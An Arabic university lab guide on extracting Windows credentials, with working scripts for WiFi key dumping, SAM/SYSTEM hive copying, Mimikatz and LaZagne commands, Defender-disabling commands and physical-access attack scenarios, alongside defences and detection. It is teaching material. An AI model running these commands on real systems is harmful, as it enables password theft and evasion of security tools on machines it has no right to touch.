انتقل إلى المحتوى الرئيسي

المختبر 3.1: استخراج جماعي لبيانات الاعتماد

أهداف التعلم​

في نهاية هذا المختبر، ستكون قادرًا على:

  • استخراج كلمات مرور WiFi المخزنة على ويندوز
  • استرجاع كلمات مرور المتصفحات
  • تفريغ تجزئات NTLM لحسابات ويندوز
  • فهم كيفية تخزين ويندوز لبيانات الاعتماد
  • تقييم مخاطر الأمان المتعلقة بتخزين كلمات المرور
  • تطبيق تدابير حماية مناسبة

المدة المقدرة​

35 دقيقة

المتطلبات المسبقة​

  • جهاز افتراضي ويندوز 10/11 مع بعض كلمات المرور المحفوظة
  • متصفح مع كلمات مرور مسجلة (كروم، فايرفوكس أو إيدج)
  • بعض شبكات WiFi المسجلة
  • PowerShell

السياق المهني​

في أمن المعلومات، استخراج بيانات الاعتماد هو خطوة حاسمة في:

  • اختبارات الاختراق المصرح بها
  • التحقيق الجنائي الرقمي
  • تقييم وضع الأمان
  • توعية المستخدمين بالمخاطر

هذا المختبر يوضح لماذا:

  • الوصول المادي لمدة دقيقتين = جميع كلمات المرور مسروقة
  • مدراء كلمات المرور ضروريون
  • تشفير القرص أمر حيوي
  • لا تترك جهاز الكمبيوتر بدون مراقبة

⚠️ تحذير أخلاقي وقانوني - مهم جدًا​

هذا المختبر يعلم تقنيات قوية للغاية

الأدوات والتقنيات في هذا المختبر تمكن من استخراج جميع كلمات المرور المخزنة على نظام ويندوز في ثوانٍ.

مسموح فقط:

  • على جهازك الافتراضي الخاص للاختبار
  • على الأنظمة التي تملكها
  • كجزء من اختبار اختراق بعقد موقع
  • للتحقيق الجنائي الرقمي بتفويض قانوني

ممنوع بشدة:

  • على جهاز كمبيوتر شخص آخر بدون إذن كتابي
  • لسرقة كلمات المرور
  • للوصول إلى حسابات لا تملكها
  • للإضرار أو التجسس أو الاختراق

العواقب القانونية:

  • سرقة كلمات المرور = جريمة خطيرة (قانون العقوبات المادة 342.1)
  • السجن وغرامات كبيرة
  • سجل جنائي دائم
  • الطرد الأكاديمي
  • الملاحقة المدنية

بإجراء هذا المختبر، أنت تتعهد:

  • باستخدام هذه التقنيات بشكل قانوني وأخلاقي فقط
  • بعدم استخراج بيانات اعتماد الآخرين أبدًا
  • بتوعية محيطك بالمخاطر
  • بحماية أنظمتك الخاصة

الجزء 1: استخراج كلمات مرور WiFi​

الخطوة 1.1: تذكير - الطريقة اليدوية​

أنت تعرف بالفعل هذا الأمر من المختبر 1.4:

netsh wlan show profiles
netsh wlan show profile name="MonWiFi" key=clear

الحد: أمر واحد لكل شبكة = ممل!

الخطوة 1.2: سكربت استخراج تلقائي​

أنشئ ملف wifi_dump.bat:

@echo off
echo ============================================
echo EXTRACTION MASSIVE - Mots de passe WiFi
echo ============================================
echo.

cd %temp%
netsh wlan show profiles | findstr "Profil Tous" > wifi_names.txt

echo [RESEAUX WIFI TROUVES]
type wifi_names.txt
echo.
echo.

echo [EXTRACTION DES MOTS DE PASSE...]
echo. > wifi_passwords.txt

for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
set "ssid=%%i"
setlocal enabledelayedexpansion
set "ssid=!ssid:~1!"
echo ========================================== >> wifi_passwords.txt
echo SSID: !ssid! >> wifi_passwords.txt
echo ========================================== >> wifi_passwords.txt
netsh wlan show profile name="!ssid!" key=clear | findstr "Contenu" >> wifi_passwords.txt
echo. >> wifi_passwords.txt
endlocal
)

echo [RESULTATS]
type wifi_passwords.txt
echo.
echo.
echo Fichier sauvegarde: %temp%\wifi_passwords.txt
pause

نفذ كمسؤول:

wifi_dump.bat

بوم! في بضع ثوانٍ:

  • جميع شبكات WiFi مدرجة
  • جميع كلمات المرور مستخرجة
  • محفوظة في ملف!

أسئلة:

  1. كم عدد شبكات WiFi التي وجدتها؟
  2. كم عدد كلمات المرور التي استخرجتها؟
  3. كم استغرقت العملية؟

الخطوة 1.3: نسخة PowerShell (أكثر أناقة)​

سكربت PowerShell wifi_extract.ps1:

Write-Host "=== EXTRACTION WIFI ===" -ForegroundColor Cyan

$profiles = netsh wlan show profiles | Select-String "Profil Tous" | ForEach-Object {
$_ -replace ".*:\s+", ""
}

$results = @()

foreach ($profile in $profiles) {
$profile = $profile.Trim()
Write-Host "Extraction: $profile" -ForegroundColor Yellow

$password = netsh wlan show profile name="$profile" key=clear |
Select-String "Contenu de la clé" |
ForEach-Object { $_ -replace ".*:\s+", "" }

$results += [PSCustomObject]@{
SSID = $profile
Password = if($password) {$password} else {"(Pas de mot de passe)"}
}
}

$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation

Write-Host "`nSauvegarde: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green

نفذ:

powershell -ExecutionPolicy Bypass -File wifi_extract.ps1

النتيجة: جدول منسق + ملف CSV!

أسئلة: 4. هل تفضل السكربت BAT أم PowerShell؟ 5. لماذا قد يستخدم المهاجم هذه التقنية؟


الجزء 2: استخراج كلمات مرور المتصفحات​

الخطوة 2.1: فهم التخزين​

المتصفحات تخزن كلمات المرور:

  • كروم: قاعدة بيانات SQLite مشفرة
  • فايرفوكس: قاعدة بيانات SQLite
  • إيدج: نفس كروم (كروميوم)

الموقع:

  • كروم: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
  • فايرفوكس: %APPDATA%\Mozilla\Firefox\Profiles\
  • إيدج: %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data

التشفير:

  • Windows Data Protection API (DPAPI)
  • قابل لفك التشفير إذا كان لديك وصول إلى حساب المستخدم!

الخطوة 2.2: الطريقة اليدوية - كروم (عرض)​

عرض كلمات المرور عبر كروم:

  1. افتح كروم
  2. chrome://settings/passwords
  3. انقر على العين لرؤية كلمة مرور
  4. كلمة مرور ويندوز مطلوبة!

الحد: واحدة تلو الأخرى، واجهة رسومية

لكن مع الوصول إلى الملفات...

الخطوة 2.3: سكربت PowerShell - استخراج كروم​

مهم: يجب إغلاق كروم!

سكربت chrome_passwords.ps1:

# Vérifier si Chrome est installé
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"

if (!(Test-Path $chromePath)) {
Write-Host "Chrome n'est pas installé ou pas de mots de passe" -ForegroundColor Red
exit
}

Write-Host "=== EXTRACTION MOTS DE PASSE CHROME ===" -ForegroundColor Cyan
Write-Host "ATTENTION: Ceci est une DEMONSTRATION!" -ForegroundColor Yellow
Write-Host ""

# Copier la base de données (Chrome doit être fermé!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force

Write-Host "Base de donnees copiee" -ForegroundColor Green
Write-Host "Localisation: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENU (apercu):" -ForegroundColor Cyan

# Afficher quelques infos (sans déchiffrement complet pour ce lab basique)
# Pour déchiffrement complet: Utiliser LaZagne ou outil spécialisé
Write-Host "- Fichier SQLite trouve"
Write-Host "- Taille: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Derniere modification: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "Pour extraction complete, utiliser LaZagne (voir Partie 4)" -ForegroundColor Yellow

Remove-Item $tempDb -Force

ملاحظة: فك تشفير DPAPI معقد. سنستخدم أداة مؤتمتة في الخطوة التالية.


الجزء 3: تجزئات NTLM لحسابات ويندوز​

الخطوة 3.1: فهم تجزئات NTLM​

ويندوز يخزن كلمات المرور على شكل تجزئات:

  • ملف: C:\Windows\System32\config\SAM
  • تجزئة NTLM (NT LAN Manager)
  • غير قابل للقراءة مباشرة (ملف مقفل)

لكن مع صلاحيات SYSTEM أو وضع الاسترداد...

الخطوة 3.2: طريقة Reg Save (تتطلب صلاحيات مدير)​

نفذ cmd كمدير:

reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup

النتيجة: ملفات SAM وSYSTEM محفوظة!

هذه الملفات تحتوي على:

  • جميع حسابات المستخدمين المحليين
  • تجزئات NTLM الخاصة بهم
  • يمكن كسرها دون اتصال!

أسئلة: 6. هل نجحت في حفظ SAM وSYSTEM؟ 7. ما هو حجم هذه الملفات؟

الخطوة 3.3: استخراج باستخدام Mimikatz (عرض)​

Mimikatz هو الأداة المرجعية لاستخراج بيانات اعتماد ويندوز.

تحذير: برامج مكافحة الفيروسات ستكتشفه! هذا طبيعي.

أوامر Mimikatz (عرض مفاهيمي):

privilege::debug
token::elevate
lsadump::sam

النتيجة: جميع تجزئات NTLM للحسابات معروضة!

ملاحظة: لهذا المختبر، لن نقوم بتثبيت Mimikatz (يكتشف كبرمجية خبيثة). سنستخدم LaZagne بدلاً من ذلك (أقل اكتشافًا).


الجزء 4: LaZagne - الأداة النهائية (التثبيت والاستخدام)​

الخطوة 4.1: ما هو LaZagne؟​

LaZagne = أداة بايثون مفتوحة المصدر تستخرج كل شيء:

  • كلمات مرور WiFi
  • كلمات مرور المتصفحات (كروم، فايرفوكس، إيدج، أوبرا، إلخ.)
  • كلمات مرور البريد الإلكتروني (Outlook، Thunderbird)
  • كلمات مرور FTP (FileZilla)
  • بيانات اعتماد Git، SVN
  • بيانات اعتماد قواعد البيانات
  • وأكثر بكثير!

في أمر واحد فقط!

الخطوة 4.2: التحميل​

الخيار A: النسخة المجمعة مسبقًا (موصى به لهذا المختبر)

  1. اذهب إلى: https://github.com/AlessandroZ/LaZagne/releases
  2. حمل lazagne.exe (نسخة ويندوز المستقلة)

الخيار B: من المصدر (إذا كان بايثون مثبتًا)

git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all

تحذير: برامج مكافحة الفيروسات ستقوم على الأرجح بحظره! طبيعي، إنها أداة "هجومية".

الخطوة 4.3: تعطيل Windows Defender مؤقتًا​

لاستخدام LaZagne، يجب تعطيل Defender:

PowerShell كمدير:

Set-MpPreference -DisableRealtimeMonitoring $true

أو عبر الواجهة:

  1. الإعدادات → الخصوصية والأمان → أمان ويندوز
  2. الحماية من الفيروسات والتهديدات
  3. إدارة الإعدادات
  4. تعطيل الحماية في الوقت الحقيقي

أضف استثناء:

Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"

أسئلة: 8. هل نجحت في تعطيل Defender؟ 9. لماذا يكتشف Defender LaZagne؟

الخطوة 4.4: تنفيذ LaZagne - استخراج كامل​

الأمر السحري:

lazagne.exe all

انتظر 10-30 ثانية...

النتيجة المعروضة:

########## User: VotreNom ##########

------------------- Wifi passwords -------------------

[+] SSID: MonWiFi_5G
Password: SuperSecret123!

[+] SSID: Bureau_WiFi
Password: Entreprise2024

------------------- Chrome passwords -------------------

[+] URL: https://facebook.com
Username: votreemail@example.com
Password: MotDePasseFacebook123

[+] URL: https://gmail.com
Username: vous@gmail.com
Password: GmailPassword456!

------------------- Firefox passwords -------------------

[+] URL: https://github.com
Username: votrecompte
Password: GitHub789Pass

------------------- System Hash -------------------

[+] Username: Administrateur
Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

[+] 15 passwords found!

واو! جميع كلمات المرور بنص واضح!

الخطوة 4.5: الحفظ في ملف​

لحفظ النتائج:

lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt

أو بصيغة JSON (منظم):

lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop

ملف تم إنشاؤه: credentials.json مع كل شيء!

أسئلة: 10. كم عدد كلمات المرور التي وجدها LaZagne؟ 11. هل فوجئت ببعض كلمات المرور التي نسيتها؟ 12. كم استغرقت عملية الاستخراج الكاملة؟


الجزء 5: سيناريوهات هجوم حقيقية​

الخطوة 5.1: سيناريو "دقيقتان من الوصول المادي"​

الوضع:

  • الضحية تذهب إلى الحمام (دقيقتان)
  • الكمبيوتر غير مقفل
  • المهاجم لديه وصول مادي

إجراءات المهاجم:

الدقيقة 1:

  1. إدخال مفتاح USB مع lazagne.exe
  2. تعطيل Defender (5 ثوانٍ):
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
  3. تنفيذ LaZagne (10 ثوانٍ):
    E:\lazagne.exe all > E:\pwds.txt

الدقيقة 2: 4. انتظار النتائج (20 ثانية) 5. إزالة مفتاح USB 6. إعادة تفعيل Defender:

powershell Set-MpPreference -DisableRealtimeMonitoring $false

النتيجة:

  • جميع كلمات المرور مسروقة
  • لا أثر مرئي
  • الضحية لا تلاحظ شيئًا!

أسئلة: 13. هل يبدو لك هذا السيناريو واقعيًا؟ 14. هل سبق لك أن ذهبت إلى الحمام وترك جهاز الكمبيوتر الخاص بك غير مقفل؟

الخطوة 5.2: سيناريو "البرمجيات الخبيثة"​

إذا تم تنفيذ برمجية خبيثة على جهاز الكمبيوتر الخاص بك:

  1. تحميل LaZagne من خادم المهاجم
  2. تنفيذ في الخلفية (غير مرئي)
  3. استخراج جميع بيانات الاعتماد
  4. إرسال إلى خادم C&C (القيادة والتحكم)
  5. حذف نفسه (يمحو الآثار)

الوقت الكلي: 30 ثانية قابل للكشف: صعب جدًا إذا تم بشكل جيد!

الخطوة 5.3: سيناريو "USB موجود"​

هجوم كلاسيكي:

  1. المهاجم يترك مفتاح USB في موقف السيارات/الكافيتيريا
  2. التسمية: "رواتب 2024 - سري"
  3. الضحية الفضولية تدخله في جهاز الكمبيوتر الخاص بها
  4. التشغيل التلقائي أو الضحية تنقر نقرًا مزدوجًا على الملف
  5. السكربت ينفذ LaZagne
  6. يرسل النتائج عبر البريد الإلكتروني إلى المهاجم

الضحية: ترى فقط "ملف تالف" الواقع: جميع كلمات المرور مسروقة!

أسئلة: 15. هل ستلتقط مفتاح USB وجدته على الأرض؟ 16. ماذا تفعل إذا وجدت مفتاح USB؟


الجزء 6: التأثير والعواقب​

الخطوة 6.1: ماذا يمكن للمهاجم أن يفعل؟​

مع جميع كلمات المرور الخاصة بك، يمكن للمهاجم:

البريد الإلكتروني:

  • قراءة جميع رسائلك الإلكترونية
  • إرسال رسائل بريد إلكتروني باسمك
  • إعادة تعيين كلمات مرور أخرى

الشبكات الاجتماعية:

  • انتحال هويتك
  • النشر باسمك
  • الوصول إلى رسائلك الخاصة

البنك:

  • تسجيل الدخول إلى حسابك المصرفي عبر الإنترنت
  • إجراء تحويلات
  • سرقة المال

المهني:

  • الوصول إلى شبكة الشركة
  • سرقة الأسرار الصناعية
  • اختراق الزملاء

كل شيء!

الخطوة 6.2: سلسلة الهجوم الكاملة​

مثال واقعي:

  1. سرقة كلمات المرور (هذا المختبر)
  2. البريد الإلكتروني مخترق → إعادة تعيين حسابات أخرى
  3. الشبكات الاجتماعية → الهندسة الاجتماعية على جهات الاتصال
  4. VPN الشركة → الوصول إلى الشبكة المؤسسية
  5. الخوادم الداخلية → استخراج البيانات
  6. برمجيات الفدية → التشفير والمطالبة بفدية

كل هذا يبدأ بـ: دقيقتان من الوصول المادي!

أسئلة: 17. ما هو التأثير إذا تم سرقة جميع كلمات المرور الخاصة بك اليوم؟ 18. كم من الوقت سيستغرق التعافي؟

الخطوة 6.3: تمرين - تقييم شخصي​

احسب عدد الحسابات التي لديك:

  • البريد الإلكتروني: ___
  • الشبكات الاجتماعية: ___
  • الحسابات المصرفية/المالية: ___
  • الحسابات المهنية: ___
  • أخرى مهمة: ___
  • المجموع: ___

إذا كانت مخزنة في المتصفح: جميعها قابلة للسرقة في 30 ثانية!


الجزء 7: تدابير الحماية​

الخطوة 7.1: لا تخزن أبدًا كلمات المرور في المتصفح​

الحل 1: مدير كلمات مرور مخصص

التوصيات:

  • Bitwarden (مجاني، مفتوح المصدر)
  • 1Password (مدفوع، ممتاز)
  • KeePassXC (مجاني، محلي)

المزايا:

  • تشفير قوي
  • كلمة مرور رئيسية مطلوبة
  • غير قابلة للاستخراج بواسطة LaZagne
  • توليد كلمات مرور قوية
  • مزامنة آمنة

الخطوة 7.2: BitLocker إلزامي​

BitLocker يحمي من:

  • استخراج الملفات في وضع الاسترداد
  • سرقة اللابتوب
  • الوصول المادي

مع تفعيل BitLocker:

  • لا يمكن لـ LaZagne التنفيذ بدون كلمة مرور فك التشفير
  • ملفات SAM/SYSTEM غير قابلة للوصول
  • حماية قصوى

قم بالتفعيل الآن:

# Vérifier statut
Get-BitLockerVolume

# Activer (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly

الخطوة 7.3: المصادقة الثنائية (2FA)​

حتى إذا تم سرقة كلمة المرور:

  • 2FA يمنع الاتصال
  • رمز إضافي مطلوب
  • على الهاتف أو مفتاح مادي

قم بتفعيل 2FA في كل مكان:

  • البريد الإلكتروني (حرج!)
  • البنك
  • الشبكات الاجتماعية
  • الحسابات المهنية

تطبيقات 2FA:

  • Microsoft Authenticator
  • Google Authenticator
  • Authy

الخطوة 7.4: القفل التلقائي​

إعدادات ويندوز:

# Verrouillage après 1 minute
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT

أو يدويًا:

  1. الإعدادات → الحسابات → خيارات تسجيل الدخول
  2. التأخير قبل إعادة الاتصال: 1 دقيقة

دائمًا: Windows + L عند الابتعاد!

الخطوة 7.5: مكافحة الفيروسات وEDR​

Windows Defender:

  • الحفاظ على التفعيل دائمًا
  • إلا للمختبرات المحددة
  • إعادة التفعيل فورًا بعد ذلك

الشركات:

  • EDR (الكشف والاستجابة للنقاط النهائية)
  • يكتشف تنفيذ LaZagne، Mimikatz
  • ينبه فريق الأمان

الجزء 8: الكشف والتنظيف​

الخطوة 8.1: التحقق مما إذا كان هناك اختراق​

علامات استخراج بيانات الاعتماد:

سجلات ويندوز:

# Chercher exécutions suspectes
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message | Format-List

الملفات المشبوهة:

# Chercher LaZagne ou outils similaires
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue

حجر Defender:

# Vérifier quarantaine
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime

الخطوة 8.2: ماذا تفعل إذا كان هناك اختراق؟​

الإجراءات الفورية:

  1. قطع الاتصال بالإنترنت (منع استخراج البيانات)
  2. تغيير جميع كلمات المرور (من جهاز آخر آمن)
  3. تفعيل 2FA في كل مكان
  4. فحص كامل لمكافحة الفيروسات
  5. التحقق من سجلات البنك والبريد الإلكتروني
  6. إخطار الشركة (إذا كان جهاز كمبيوتر مهني)

الخطوة 8.3: إعادة التعيين الكاملة (إذا لزم الأمر)​

إذا كان هناك شك جدي:

  1. نسخ احتياطي للبيانات المهمة (تم التحقق من سلامتها)
  2. إعادة تثبيت كاملة لويندوز
  3. تغيير جميع كلمات المرور
  4. مراقبة الحسابات لمدة 6 أشهر

التسليمات​

لتسليم:

  1. وثيقة التحليل (Word/PDF، 3-4 صفحات):

    • إجابات على 18 سؤال
    • لقطة شاشة لكلمات مرور WiFi المستخرجة (مموهة!)
    • نتائج LaZagne (مجهولة!)
    • تحليل لوضعك الشخصي
  2. لقطات شاشة (الحد الأدنى 5):

    • سكربت wifi_dump أثناء العمل
    • نتيجة LaZagne (عناوين URL وأسماء المستخدمين موافق، كلمات المرور مخفية!)
    • ملفات SAM/SYSTEM محفوظة
    • إعداد BitLocker
    • مدير كلمات المرور مثبت
  3. خطة عمل شخصية (صفحة واحدة):

    • الحالة الحالية لكلمات المرور الخاصة بك
    • المخاطر المحددة
    • الإجراءات التي يجب اتخاذها (الأولوية)
    • الجدول الزمني للتنفيذ
  4. التوعية (اختياري):

    • أنشئ ملصقًا أو عرضًا تقديميًا لتوعية محيطك
    • "لماذا لا تترك جهاز الكمبيوتر الخاص بك بدون مراقبة"

معايير التقييم​

المعيارالنقاط
استخراج بيانات اعتماد WiFi بنجاح20%
فهم LaZagne وكيفية عمله20%
تحليل المخاطر والسيناريوهات الهجومية20%
خطة عمل شخصية واقعية20%
جودة الوثائق واللقطات15%
التوعية (اختياري)+5% مكافأة

أوامر مرجعية سريعة​

استخراج WiFi​

netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear

تعطيل Defender​

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"

حفظ SAM​

reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup

LaZagne​

lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ

BitLocker​

Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256

استكشاف الأخطاء وإصلاحها​

المشكلة: Defender يحظر LaZagne​

الحل:

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"

المشكلة: "الوصول مرفوض" لـ SAM​

الحل: نفذ cmd كمدير.

المشكلة: LaZagne لا يجد أي كلمات مرور​

الحل:

  • تحقق من أن لديك كلمات مرور محفوظة
  • أغلق جميع المتصفحات قبل التنفيذ
  • بعض مدراء كلمات المرور غير مدعومين

الذهاب إلى أبعد من ذلك (اختياري)​

التحدي 1: كسر التجزئة​

استخدم John the Ripper أو Hashcat لكسر تجزئات NTLM المستخرجة.

التحدي 2: سكربت استخراج مؤتمت​

أنشئ سكربت يقوم بـ:

  • تعطيل Defender
  • تنفيذ LaZagne
  • إرسال النتائج عبر البريد الإلكتروني
  • إعادة تفعيل Defender
  • حذف نفسه

(للفهم فقط، لا تستخدم بشكل ضار!)

التحدي 3: حماية متقدمة​

قم بتنفيذ:

  • Credential Guard (ويندوز)
  • Windows Hello for Business
  • الشهادات بدلاً من كلمات المرور
  • البطاقات الذكية

موارد إضافية​


الخاتمة​

هذا المختبر علمك:

  • كيف يخزن ويندوز بيانات الاعتماد
  • تقنيات استخراج جماعي لكلمات المرور
  • استخدام LaZagne لاستخراج كامل
  • سيناريوهات هجوم واقعية
  • تدابير حماية فعالة

الدروس الحرجة:

  1. دقيقتان من الوصول = جميع كلمات المرور مسروقة
  2. لا تخزن أبدًا كلمات المرور في المتصفح
  3. مدير كلمات مرور مخصص = ضروري
  4. BitLocker = الحماية القصوى
  5. 2FA = حماية إذا تم سرقة كلمة المرور
  6. القفل التلقائي = عادة يجب اكتسابها

الرسالة النهائية:

أنت تعرف الآن مدى سهولة سرقة جميع كلمات المرور من جهاز كمبيوتر.

احمِ نفسك:

  • قم بتثبيت مدير كلمات مرور الآن
  • فعل 2FA على جميع حساباتك اليوم
  • لا تترك جهاز الكمبيوتر الخاص بك بدون مراقبة أبدًا
  • وعي محيطك

مع القوة الكبيرة تأتي مسؤولية كبيرة.

استخدم هذه المعرفة للخير: احمِ نفسك واحمِ الآخرين.


مختبر تم تطويره في إطار دورة أنظمة التشغيل - الوحدة 3

⚠️ التذكير النهائي: هذه التقنيات للتعلم فقط. الاستخدام الضار = جريمة خطيرة.